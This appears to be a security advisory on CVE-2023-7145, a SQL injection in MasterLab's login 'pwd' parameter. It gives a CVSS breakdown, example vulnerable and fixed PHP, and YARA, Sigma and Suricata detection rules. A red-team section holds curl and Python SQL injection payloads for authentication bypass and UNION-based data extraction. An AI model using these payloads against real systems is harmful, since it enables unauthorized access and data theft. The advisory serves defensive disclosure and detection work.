CVE-2023-7145

Executive Summary

CVE-2023-7145 is a critical SQL injection vulnerability discovered in the gopeak MasterLab application, affecting versions up to and including 3.3.10. The flaw resides in the sqlInject function within the app/ctrl/Framework.php file, specifically in the HTTP POST request handler. By manipulating the pwd argument, an unauthenticated attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential system compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making immediate mitigation essential.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (MasterLab) developed by gopeak. Therefore, supply chain package security considerations are not directly applicable. However, organizations using MasterLab should treat it as a critical component in their software bill of materials (SBOM) and monitor for any third-party dependencies that may be affected.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Potential for service disruption.

Threat Level: High. Despite the medium CVSS score, the public availability of exploit code and the lack of a patch elevate the risk. An unauthenticated attacker can execute arbitrary SQL queries, potentially leading to full database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the sqlInject function of app/ctrl/Framework.php. The application fails to properly sanitize user-supplied input passed via the pwd parameter in HTTP POST requests. The vulnerable code likely concatenates the pwd value directly into SQL queries without parameterization or escaping.

Root Cause: The sqlInject function, despite its name suggesting a security measure, does not effectively prevent injection. It may use weak filtering or no filtering at all, allowing an attacker to break out of the intended SQL syntax.

Attack Vector: An attacker sends a crafted POST request to the vulnerable endpoint, injecting SQL commands into the pwd field. For example:

POST /index.php?c=login&a=check HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

pwd=' OR '1'='1' -- -

This payload would bypass authentication by making the SQL condition always true.

Impact: Successful exploitation can lead to:

• Authentication bypass
• Extraction of sensitive data (user credentials, personal information)
• Modification or deletion of database records
• Potential escalation to remote code execution if the database supports file operations (e.g., INTO OUTFILE)

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on best practices.

Vulnerable Code (app/ctrl/Framework.php):

function sqlInject($input) {
    // Weak or no sanitization
    return $input;
}

// Usage in login check
$pwd = sqlInject($_POST['pwd']);
$sql = "SELECT * FROM users WHERE password = '$pwd'";
$result = $db->query($sql);

Patched Code (Recommended):

function sqlInject($input) {
    // Use prepared statements or parameterized queries
    // This function should be removed or repurposed
    return $input;
}

// Usage with prepared statement
$stmt = $db->prepare("SELECT * FROM users WHERE password = ?");
$stmt->bind_param("s", $_POST['pwd']);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements, which separate SQL logic from data, preventing injection entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running MasterLab <= 3.3.10
• Network access to the vulnerable endpoint

Exploit Steps:

1. Identify the login endpoint (e.g., /index.php?c=login&a=check).
2. Send a POST request with a malicious pwd parameter.

Example Exploit (using cURL):

curl -X POST http://target.com/index.php?c=login&a=check \
  -d "pwd=' OR '1'='1' -- -"

Advanced SQL Injection (extracting data):

# Extract database version
curl -X POST http://target.com/index.php?c=login&a=check \
  -d "pwd=' UNION SELECT @@version,2,3 -- -"

Automated Exploit (Python):

import requests

url = "http://target.com/index.php?c=login&a=check"
payload = {"pwd": "' OR '1'='1' -- -"}
response = requests.post(url, data=payload)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for POST requests to login endpoints with unusual pwd values containing SQL keywords (OR, AND, UNION, --, #).
• Use Web Application Firewall (WAF) rules to block SQL injection patterns.

Honeypot Setup:

• Deploy a decoy MasterLab instance to capture attacker behavior.
• Log all POST requests to the login endpoint for analysis.

Lab Environment:

• Use Docker to set up a vulnerable instance:

docker run -d -p 80:80 --name masterlab-vuln gopeak/masterlab:3.3.10

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php?c=login&a=check with pwd containing SQL injection patterns.
  • Unusual SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified database entries (e.g., new admin users).
  • Suspicious files in the web root (e.g., webshells).
• Log IOCs:
  • Repeated failed login attempts followed by a successful login with a simple password.
  • Database query logs showing unexpected UNION or OR clauses.

Detection Engineering

YARA Rule

rule CVE_2023_7145_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-7145 in MasterLab"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-7145"
    strings:
        $sqli1 = /pwd=.*['\"]\s*(OR|AND)\s+['\"]\s*['\"]/ nocase
        $sqli2 = /pwd=.*UNION\s+SELECT/ nocase
        $sqli3 = /pwd=.*--\s*$/ nocase
        $sqli4 = /pwd=.*#/ nocase
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against MasterLab CVE-2023-7145
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the pwd parameter in MasterLab
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/index.php?c=login&a=check'
        cs-uri-query|contains: 'pwd='
    keywords:
        - ' OR '
        - ' AND '
        - ' UNION '
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-7145 SQL Injection Attempt - MasterLab";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php?c=login&a=check"; http_uri;
    content:"pwd="; http_client_body;
    pcre:"/(\x27|\x22)\s*(OR|AND)\s+(\x27|\x22)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-7145;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, or restrict access via firewall rules.
2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Apply input validation on the server side (e.g., whitelist allowed characters for passwords).
4. Use parameterized queries in all database interactions.

Long-term Fix:

• Since no official patch exists, consider migrating to an alternative solution or forking the project to apply the fix yourself.
• Monitor the vendor's website for any future updates.

Compensating Controls:

• Enable detailed logging and alerting on suspicious POST requests.
• Conduct regular security audits and penetration testing.
• Implement the principle of least privilege for database accounts.

Valters IT
Securing Digital Frontiers